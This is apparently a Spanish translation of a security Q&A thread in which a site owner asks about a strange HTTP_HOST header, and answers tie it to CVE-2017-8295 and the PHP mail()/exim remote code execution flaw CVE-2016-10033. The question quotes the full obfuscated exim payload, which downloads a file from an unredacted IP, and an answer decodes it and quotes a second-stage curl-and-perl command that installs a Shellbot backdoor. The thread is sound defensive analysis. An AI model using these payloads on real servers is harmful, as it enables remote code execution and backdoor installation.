¿Este encabezado HTTP_HOST no válido forma parte de un exploit?

25

Recibimos una gran cantidad de mensajes de error de nuestra aplicación django, como este:

Invalid HTTP_HOST header: ‘target(any [email protected] -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}69.64.61.196${substr{0}{1}{$spool_directory}}rce.txt}} null)’. The domain name provided is not valid according to RFC 1034/1035.
...
Request information: 
GET: action = u'lostpassword'
POST: user_login = u'admin' wp-submit = u'Get New Password'
FILES: No FILES data
COOKIES: No cookie data
...

No he visto nada igual antes, y tengo problemas para entender qué significa. ¿Podría esto ser parte de algún exploit, o simplemente estoy siendo paranoico?

    
pregunta Dennis 02.06.2017 - 12:06
fuente

3 respuestas

45

Para ampliar la respuesta proporcionada por @Swashbuckler, CVE-2017-8295 se relaciona específicamente con los restablecimientos de contraseña de WordPress con el conjunto de encabezado HTTP HOST .

Cuando WordPress envía correos electrónicos para restablecer la contraseña, establecen From / Return-Path en el valor de $_SERVER['SERVER_NAME'] (en PHP). Este valor lo establecen algunos servidores web (por ejemplo, Apache) en función del encabezado HTTP HOST .

Esto significa que los atacantes pueden hacer que WordPress envíe correos electrónicos con From / Return-Path configurado a una dirección de correo electrónico de su elección. Si el correo electrónico es rechazado o respondido, pasará a esta dirección de correo electrónico malintencionado y, si se adjuntó el correo electrónico original, el atacante tendrá acceso al enlace para restablecer la contraseña.

Para abusar realmente del exploit es necesario que ocurran dos factores: el servidor web debe leer el nombre de host del encabezado HOST , y el correo electrónico debe ser devuelto o respondido. El primero puede ser arreglado por el administrador del servidor (si está usando Apache, configurando UseCanonicalName On ), este último requiere que el atacante bloquee de alguna manera el servidor de correo de la víctima (por ejemplo, haciéndolo) o que la víctima responda al correo electrónico.

Como lo señaló @TerrorBite, los atacantes no están apuntando a los enlaces de restablecimiento de contraseña, sino que solo están utilizando el error para explotar un error en la función PHP mail() . Vea su respuesta a continuación.

    
respondido por el Birjolaxew 02.06.2017 - 18:17
fuente
20

Me parece que es un intento de explotar CVE-2017-8295 .

Aquí está el resumen del CVE:

  

WordPress a través de 4.7.4 se basa en el encabezado HTTP del Host para un mensaje de correo electrónico de restablecimiento de contraseña, lo que facilita a los atacantes remotos restablecer contraseñas arbitrarias haciendo una solicitud wp-login.php? action = lostpassword luego, organizar este mensaje para que rebote o se vuelva a enviar, lo que lleva a la transmisión de la clave de reinicio a un buzón en un servidor SMTP controlado por un atacante. Esto está relacionado con el uso problemático de la variable SERVER_NAME en wp-includes / pluggable.php junto con la función de correo de PHP. La explotación no es alcanzable en todos los casos porque requiere al menos uno de los siguientes: (1) el atacante puede evitar que la víctima reciba mensajes de correo electrónico durante un período de tiempo prolongado (como 5 días), (2) el El sistema de correo electrónico de la víctima envía una respuesta automática que contiene el mensaje original, o (3) la víctima compone manualmente una respuesta que contiene el mensaje original.

Dennis dice que están viendo muchas solicitudes, por lo que el atacante está tratando de adivinar los nombres de las cuentas o tiene una lista de nombres de las cuentas (quizás recopilada de alguna manera) y está tratando de restablecer las contraseñas en las cuentas para que él Puede ganar control de ellos. El atacante está buscando la clave de reinicio como se describe en el CVE.

    
respondido por el Swashbuckler 02.06.2017 - 13:06
fuente
20

Esto parece estar apuntando al exploit de Ejecución Remota de Código CVE-2016-10033 en la función php mail() , que utiliza CVE-2017-8295 solo como una forma de inyectar código de explotación en la función mail() .

El contenido del encabezado del host HTTP es una cadena que contiene valores de sustitución que están destinados a ser ejecutados por el agente de transferencia de correo exim4 . Las funciones de la subcadena parecen estar destinadas a devolver un carácter de barra diagonal hacia adelante y un carácter de espacio (esto se usa para evitar que Apache filtre los caracteres de barra diagonal y para asegurarse de que los espacios no dividan el argumento en exim4 's -be flag). Si los sustituimos, terminamos con una cadena que se parece a esto (dirección IP parcialmente borrada):

target(any [email protected] -be ${run{/usr/bin/curl -o/tmp/rce 69.XX.XX.196/rce.txt}} null)

Esto resultaría en la función exim4 ${run} ejecutando curl para descargar el archivo rce.txt .

Tenga en cuenta que esto solo descarga el archivo. Puede esperar ver una segunda solicitud HTTP con un encabezado Host similar pero diferente, que invocará a bash para ejecutar el archivo previamente descargado.

El archivo rce.txt en esta dirección, al momento de escribir, contiene otra cadena de línea de comando de la siguiente manera (URL y dirección IP parcialmente eliminadas):

curl -o /tmp/wp.gif hXXp://46.XX.XX.42/website/strust.gif  && perl /tmp/wp.gif

El archivo strust.gif se detecta como Backdoor: Perl / Shellbot.S y un ISC SANS está disponible la redacción de esta amenaza .

    
respondido por el TerrorBite 03.06.2017 - 16:56
fuente

Lea otras preguntas en las etiquetas